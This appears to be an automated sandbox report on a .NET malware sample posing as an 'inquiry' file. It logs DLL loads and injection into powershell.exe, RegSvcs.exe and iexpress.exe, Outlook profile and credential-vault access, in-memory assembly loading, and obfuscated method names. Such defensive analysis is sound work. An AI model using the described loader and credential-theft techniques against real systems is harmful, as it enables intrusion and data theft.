            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: dwrite.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: windowscodecs.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: edputil.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: windows.staterepositoryps.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: appresolver.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: bcp47langs.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: slc.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: sppc.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: onecorecommonproxystub.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: atl.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: mscoree.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: vcruntime140_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: ucrtbase_clr0400.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptsp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: rsaenh.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msasn1.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: gpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: amsi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: msisip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wshext.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: appxsip.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: opcservices.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: urlmon.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: srvcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: version.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: kernel.appcore.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: uxtheme.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: ieframe.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: iertutil.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: netapi32.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: userenv.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: winhttp.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: wkscli.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: netutils.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: sspicli.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: windows.storage.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: wldp.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: profapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: secur32.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: mlang.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: propsys.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: winsqlite3.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: vaultcli.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: wintypes.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: dpapi.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeSection loaded: cryptbase.dllJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeSection loaded: wininet.dllJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeSection loaded: mswsock.dllJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeSection loaded: dnsapi.dllJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeSection loaded: iphlpapi.dllJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeSection loaded: fwpuclnt.dllJump to behavior
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeSection loaded: rasadhlp.dllJump to behavior
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32Jump to behavior
            Source: Window RecorderWindow detected: More than 3 window changes detected
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeFile opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dllJump to behavior
            Source: C:\Windows\SysWOW64\iexpress.exeKey opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\Jump to behavior
            Source: inquiry EBS# 82785.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR
            Source: inquiry EBS# 82785.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
            Source: inquiry EBS# 82785.exeStatic PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
            Source: Binary string: iexpress.pdbGCTL source: RegSvcs.exe, 00000004.00000002.1435957062.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3708916103.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000003.1360746245.0000000000A8B000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: hbfEEdNoiUG.exe, 0000000F.00000000.1347277326.000000000052E000.00000002.00000001.01000000.0000000D.sdmp, hbfEEdNoiUG.exe, 00000014.00000002.3695839640.000000000052E000.00000002.00000001.01000000.0000000D.sdmp
            Source: Binary string: wntdll.pdbUGP source: RegSvcs.exe, 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000003.1434430531.0000000004D6B000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000003.1438240479.0000000004F17000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: wntdll.pdb source: RegSvcs.exe, RegSvcs.exe, 00000004.00000002.1436661246.00000000014A0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, iexpress.exe, 00000010.00000003.1434430531.0000000004D6B000.00000004.00000020.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.00000000050C0000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000002.3712669732.000000000525E000.00000040.00001000.00020000.00000000.sdmp, iexpress.exe, 00000010.00000003.1438240479.0000000004F17000.00000004.00000020.00020000.00000000.sdmp
            Source: Binary string: HSfy.pdb source: inquiry EBS# 82785.exe
            Source: Binary string: HSfy.pdbSHA256uT source: inquiry EBS# 82785.exe
            Source: Binary string: iexpress.pdb source: RegSvcs.exe, 00000004.00000002.1435957062.0000000000F78000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000002.3708916103.0000000000AAF000.00000004.00000020.00020000.00000000.sdmp, hbfEEdNoiUG.exe, 0000000F.00000003.1360746245.0000000000A8B000.00000004.00000020.00020000.00000000.sdmp

            Data Obfuscation

            barindex
            .NET source code contains potential unpacker
            Source: inquiry EBS# 82785.exe, MainForm.cs.Net Code: createBasicLayout
            Source: 0.2.inquiry EBS# 82785.exe.5110000.4.raw.unpack, LoginForm.cs.Net Code: _206B_206C_202A_202D_206F_206F_206C_202D_206A_202A_200B_206C_206E_206A_206D_206B_202C_206E_200C_206F_200D_206D_200C_200F_202C_206C_202E_206B_202B_202E_206E_206B_206B_206D_206C_202C_200D_202E_202C_200E_202E System.Reflection.Assembly.Load(byte[])
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, N6DDnZAE4yvHR3hqWD.cs.Net Code: KobSdoegIX System.Reflection.Assembly.Load(byte[])
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, N6DDnZAE4yvHR3hqWD.cs.Net Code: KobSdoegIX System.Reflection.Assembly.Load(byte[])
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_00E446BF push ebx; retf 0_2_00E446C2
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_00E446B9 push ebx; retf 0_2_00E446BA
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_00E446BB push edx; retf 0_2_00E446BE
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_00E44659 push edx; retf 0_2_00E4465A
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_00E447AF push esi; retf 0_2_00E447B2
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_04D88678 push eax; mov dword ptr [esp], ecx0_2_04D8867C
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_04D88668 push eax; mov dword ptr [esp], ecx0_2_04D8867C
            Source: C:\Users\user\Desktop\inquiry EBS# 82785.exeCode function: 0_2_04D8914F push eax; ret 0_2_04D89183
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0040203C pushad ; ret 4_2_00402042
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0040D154 push esi; ret 4_2_0040D155
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0041A1BE push edx; ret 4_2_0041A1D1
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0041EAAE push ss; iretd 4_2_0041EAAF
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0041E3C8 push ecx; ret 4_2_0041E3C9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_004113D3 push edi; retf 4_2_004113DA
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_00423B93 push ebp; retf 4_2_00423CE9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_00403460 push eax; ret 4_2_00403462
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_0040B5DD push esi; iretd 4_2_0040B5E0
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_00413E03 push ds; retn F391h4_2_00413F8E
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_00418602 push edx; retf 4_2_00418603
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_00401EF2 pushad ; ret 4_2_00402042
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014A225F pushad ; ret 4_2_014A27F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014A27FA pushad ; ret 4_2_014A27F9
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014D09AD push ecx; mov dword ptr [esp], ecx4_2_014D09B6
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014A283D push eax; iretd 4_2_014A2858
            Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegSvcs.exeCode function: 4_2_014A135E push eax; iretd 4_2_014A1369
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0330E173 push edx; retf 15_2_0330E174
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0330114E push esi; iretd 15_2_03301151
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_033191B4 pushad ; ret 15_2_03319203
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0331918C pushad ; ret 15_2_03319203
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_0331909E push 847ADC32h; iretd 15_2_033190BE
            Source: C:\Program Files (x86)\IxomXFNfjAqbdkBATZPViqvQCuLxJYOyhTqHleVCYbVam\hbfEEdNoiUG.exeCode function: 15_2_03306F38 push edi; retf 15_2_03306F4B
            Source: inquiry EBS# 82785.exeStatic PE information: section name: .text entropy: 7.016429660921763
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, ETrjv8IYxg1HvPn0mi.csHigh entropy of concatenated method names: 'Dispose', 'oJPLG0wCLh', 'PHc4hhDg6w', 'Yfh88KKC6O', 'ycMLywcvcM', 'U6cLzpIXXd', 'ProcessDialogKey', 'qwu4MAmFUE', 'uli4LfJmyt', 'z3P448YVei'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, weB2bgYHln34b4aHPv.csHigh entropy of concatenated method names: 'QYFdkbUJW', 'uWhH5A9oq', 'GApWXWukE', 'Qf1v5URli', 'h8Sc1xZk9', 'tkuOoVKU3', 'f5DXDnGxOYXejxSTef', 'RlkgjMKkBSi4rOSlm7', 'f6rrTqrpp', 'MeLqsSADG'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, akkPSDMK8o6Wg6tbP2W.csHigh entropy of concatenated method names: 'bmC9XW6Z6P', 'nWp9oxEG3Q', 'NFt9dqXkeG', 'xuD9HGhXu4', 'CZA9BE0453', 'gOr9WoBBIB', 'rxF9vUW4fd', 'Prr9YNI40N', 'dbd9c7qPLv', 'kgN9OoAJsx'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, DnGbZoaby7dWafu41v.csHigh entropy of concatenated method names: 'e0ikXVP1RW', 'z2okoAW1H6', 'hkvkdRwFXg', 'D56kHDBA0P', 'QKtkBy8s6t', 'IkpkWFpb5G', 'jJ0kv7DjXi', 'bB2kYppMAX', 'miIkckCjGO', 'WQTkOutsXR'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, rjC4Ir4lvWsr8PLw9r.csHigh entropy of concatenated method names: 'pJJ7DvLjKp', 'UnJ7yR6VEy', 'GC4rM0nyqk', 'ANqrL3E0YV', 'Q0h75Jhlp8', 'pFW7V27jov', 'zK37gKigH5', 'Or77eyYMLt', 'sYm7mpRBT1', 'QWy7EhNffE'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, bDuPk7MMytu11itw4iq.csHigh entropy of concatenated method names: 'ToString', 'FyyqxuceCX', 'tUkqS41nd5', 'igZqaqTYlN', 'CPRqlf16K1', 'Y2HqNKDNJt', 'jQTqsJ7Y9T', 'RZdqiFqrNg', 'eBKVlmyCuMVDKR8IqPR', 'bTMS1GybavJWMsLayLV'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, FtMufWMYvQ2VjJiLG7M.csHigh entropy of concatenated method names: 'B2hqXsFJyl', 'HGAqoxmgns', 'OW1qd9J9oM', 'YInRsjyLjYfT4Uypy5Y', 'wF1GkmyFaTDxLUBbBm8', 'wvl28UyzOolrKFVpn9J', 'abRAHCq2WxuNO2gyTU1', 'kXtAZ2qX5l4ihSRgVIU'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, TtXuHOVjoa3ddPEElw.csHigh entropy of concatenated method names: 'zHFnaZ3TIb', 'EVTnNlZqxi', 'RRsniLRkBG', 'c0gnkJkwpB', 'UVnnpTMoKr', 'utwiK6aSwK', 'THHiAgKTiA', 'W62iZfeJHA', 'WEQiDDt04u', 'ELliG7S9au'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, xvhxQQx1VqoiIGOhgR.csHigh entropy of concatenated method names: 'SpqsHq6NYp', 'fKdsWVvUff', 'VCNsY0pSjm', 'g82scOtOX3', 'jvist7YgR0', 'yIDs2da2ux', 'shBs7wZTPt', 'TO3srD3XxA', 'xZBs9pk7IK', 'OdDsqi5G3E'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, gM95yfGj9RTfd9Vjt2.csHigh entropy of concatenated method names: 'gcJiBjtVHT', 'CbaivIiEaq', 'k83sufThmq', 'gEasPig56m', 'RwasIbsDJs', 'vbus0bgCEe', 'OSXsJmKoaM', 'iH3sb5iPwc', 'eWnswFgrIx', 'oeWsF13ZsU'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, kSceeLHm7i2YCV0APC.csHigh entropy of concatenated method names: 'V4PtFH6uhv', 'JnWtVf4KLx', 'jw6teTRBNo', 'zAEtmUr6NE', 'ktPthWtPl3', 'zAmtu6trV2', 'ExWtPKyifk', 'M4CtIkjCy4', 'zDQt0lltRc', 'vRAtJT1m64'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, Nm3bAQz0G6h3W4ZbrO.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'bSW91FqrQ0', 'maC9t6k6QI', 'gJk92h7pdq', 'Fs797iAPLS', 'FEe9r2q0UX', 'iQW99Dpe9s', 'BZ29qZ5xmT'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, GAehUb0EjiQekj23xY.csHigh entropy of concatenated method names: 'V4qLkkUDBH', 'YWtLpWXa78', 'ToxL3KWSqr', 'mgDL68SECO', 'GOyLtiJpC4', 'YtML2g75rA', 'wtFbRQehGipuvQtXgC', 'UlKT6Jpu8PCN81DRxx', 'xw4LLFMLZ6', 'BB2Lxppsd0'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, Mc1lp8us5WUHqZfxl6.csHigh entropy of concatenated method names: 'B641YagALZ', 'wkX1cebAGp', 'fgi1CGJ2y6', 'jnd1hIQRDK', 'HGO1PaiX6P', 'a6T1ILGc80', 'a0R1JmB2l3', 'zKf1bcOrtV', 'c7x1F4PNrE', 'GZH15LlCql'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, TRb9De1bjl2tJfPoiq.csHigh entropy of concatenated method names: 'BbR9LJ0BLE', 'NR29xJ26P2', 'PBS9SPlGD4', 'm5u9lrmbSA', 'kPP9NtP58U', 'RZi9iUarg5', 'FIs9nsHhbW', 'MearZlOpNB', 'EMErD2fKv7', 'FbQrGmcohx'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, N6DDnZAE4yvHR3hqWD.csHigh entropy of concatenated method names: 'GhxxaYo8hu', 'JbQxlIMmL9', 'OtoxNNwYte', 'fCAxsvSEjB', 'BWExinO1RF', 'YU4xnBQ8Xw', 'xRCxkpH1I5', 'NotxputClH', 'tipxUKGfM0', 'e9ix3ZjU1S'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, s74S1sMt0Hdo61Oaqg7.csHigh entropy of concatenated method names: 'CanConvertFrom', 'ConvertFrom', 'ConvertTo', 'JJnqe4YFPu', 'Q12qmybROB', 'AnhqE4gy3p', 'z6PqRe1pb4', 'WUUqKtHXy2', 't3vqAIm0eR', 'nBQqZ9L7Bc'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, eIno1KD6sJ7kVtvvWB.csHigh entropy of concatenated method names: 'UUCrlBMXiq', 't6prNu1X92', 'mMUrsSuIWr', 'miAriauDlo', 'mUwrnOwAAu', 'Lr5rk3PZ6g', 'YGerpMQPsZ', 'cAlrUdPWHX', 'o7xr3fkTZX', 'tfYr6FeCRU'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, FBET1vmDCUg7UMq0hh.csHigh entropy of concatenated method names: 'm4prCcYkTX', 'trCrh6QWn3', 'V09ruoMTL6', 'qFrrPFkUAe', 'OYMrewrTgI', 'ag8rI60OuQ', 'Next', 'Next', 'Next', 'NextBytes'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, t6MYaWPf12VeY5M6RH.csHigh entropy of concatenated method names: 'l0tklhFliD', 'D4PksRkKsG', 'KZKknxvplZ', 'Xbyny3pTDW', 'rO2nzEqw0J', 'iy9kMGEN6f', 'xlBkLP2BGf', 'Bcjk4uZo9D', 's0TkxXnDTh', 'rLKkSSpOGR'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, YHcuOs9rNyXQII3LoF.csHigh entropy of concatenated method names: 'EditValue', 'GetEditStyle', 'Q2g4Guat6o', 'kXo4ya3bHr', 'lJk4zCXlAf', 'vqlxMJV4ph', 'sCfxLKVUXM', 'Qw6x4U46ch', 'XYwxxQhBfM', 'XN5cISXj313JZ1FcP2e'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, tnLdWEBm0adCBNA3Ol.csHigh entropy of concatenated method names: 'AZhNeqFcR3', 'Ms3NmbNI0D', 'i5wNEBUmuB', 'ocfNRuLoBs', 'AolNKIKTye', 'Kh5NAJ1DXP', 'yPBNZ8okvZ', 'FRHNDKTh5l', 'dbcNGUua1y', 'gj3NyiMQOr'
            Source: 0.2.inquiry EBS# 82785.exe.6e50000.5.raw.unpack, oIG6EsvLmXMmxJDAf6.csHigh entropy of concatenated method names: 'ToString', 'aJI25ZTGgH', 'Cy92hdGFRJ', 'D8a2ucWLpP', 'L1f2PcliJi', 'iFC2ILYAXV', 'P0Q20Y8jSy', 'p6m2JDHEHd', 'nYH2b2wSX7', 'F1B2wrU526'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, ETrjv8IYxg1HvPn0mi.csHigh entropy of concatenated method names: 'Dispose', 'oJPLG0wCLh', 'PHc4hhDg6w', 'Yfh88KKC6O', 'ycMLywcvcM', 'U6cLzpIXXd', 'ProcessDialogKey', 'qwu4MAmFUE', 'uli4LfJmyt', 'z3P448YVei'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, weB2bgYHln34b4aHPv.csHigh entropy of concatenated method names: 'QYFdkbUJW', 'uWhH5A9oq', 'GApWXWukE', 'Qf1v5URli', 'h8Sc1xZk9', 'tkuOoVKU3', 'f5DXDnGxOYXejxSTef', 'RlkgjMKkBSi4rOSlm7', 'f6rrTqrpp', 'MeLqsSADG'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, akkPSDMK8o6Wg6tbP2W.csHigh entropy of concatenated method names: 'bmC9XW6Z6P', 'nWp9oxEG3Q', 'NFt9dqXkeG', 'xuD9HGhXu4', 'CZA9BE0453', 'gOr9WoBBIB', 'rxF9vUW4fd', 'Prr9YNI40N', 'dbd9c7qPLv', 'kgN9OoAJsx'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, DnGbZoaby7dWafu41v.csHigh entropy of concatenated method names: 'e0ikXVP1RW', 'z2okoAW1H6', 'hkvkdRwFXg', 'D56kHDBA0P', 'QKtkBy8s6t', 'IkpkWFpb5G', 'jJ0kv7DjXi', 'bB2kYppMAX', 'miIkckCjGO', 'WQTkOutsXR'
            Source: 0.2.inquiry EBS# 82785.exe.3d109a8.2.raw.unpack, rjC4Ir4lvWsr8PLw9r.csHigh entropy of concatenated method names: 'pJJ7DvLjKp', 'UnJ7yR6VEy', 'GC4rM0nyqk', 'ANqrL3E0YV', 'Q0h75Jhlp8', 'pFW7V27jov', 'zK37gKigH5', 'Or77eyYMLt', 'sYm7mpRBT1', 'QWy7EhNffE'
